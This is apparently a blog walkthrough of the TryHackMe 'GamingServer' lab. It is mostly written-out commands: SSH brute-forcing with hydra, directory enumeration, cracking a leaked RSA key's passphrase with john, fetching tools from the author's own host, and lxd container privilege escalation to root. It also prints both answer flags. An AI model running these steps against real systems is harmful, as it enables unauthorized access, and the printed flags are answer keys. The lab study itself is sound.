aldern00b
- Jun 28, 2022
- 2 min read

GammingServer - THM

Can you gain access to this gaming server built by amateurs with no experience of web development and take advantage of the deployment system.

Enumerate to see port 22 and 80 open. We don't have creds for 22 to let's peek at 80.

Cool! Looks like a D&D style game.... I'd probably play this

Well, we might have a username here. Let's use that and hydra to check out ssh

hydra -l john -P /usr/share/wordlists/rockyou.txt 10.10.113.151 ssh

While we do that, let's also gobuster the web server.

gobuster dir -u http://10.10.113.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gobuster finds us some stuff, let's make sure we enumerate these two folders fully by doing another gobuster on them. It might be good to add the -x option to search for files too

gobuster dir -u http://10.10.113.151/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,htm,html

Inside /secret we get an RSA key

We can download that directly to a file using

wget http://[IP]/secret/SecretKey

I'm going to copy that to a new file called id_rsa so I can play with it, without breaking the original. First we need to use ssh2john to get the hash out of it. If you're not sure where ssh2john is you can run this command to find it:

find / -type f -name ssh2john* 2>/dev/null

Run ssh2john like this:

python ssh2john id_rsa > hash

The we crack that hash with john:

john id_rsa -wordlist=/usr/share/wordlists/rockyou.txt

The password gets found:

Now we want to be able to use the id_rsa file so I'm going to chmod it to 400. We try and connect to ssh like this:

ssh john@[IP] -i id_rsa

That' let's us in. It looks like john is part of the sudo group but his rsa password is different from his login one.

Either way, let's grab the user flag while we're here

What is the user flag? a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e

I was hoping to take advantage of that lxd group but this shell doesn't have internet access. Instead, I've downloaded linpeas on my workstation, hosted it on a python webserver, downloaded it on this client shell and we'll see what's available.

Needing some help figuring out lxc stuff, I hit up a writeup that pointed me here: https://www.hackingarticles.in/lxd-privilege-escalation/

Getting this done was actually quite easy once I found the right resource. We needed to download alpine from our machine and transfer it though as we didn' t have access to github on the remote machine

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

Host a python http.server and then transfer the tar.gz that was created

cd /tmp
wget http://[IP]:8000/apline-v3.10-x86_64-20191008_1227.tar.gz 
lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id

Once inside the container, navigate to /mnt/root to see all resources from the host machine.

What is the root flag? 2e337b8c9f3aff0c2b3e8d4e6a7c88fc

GammingServer - THM

Recent Posts

Comentarios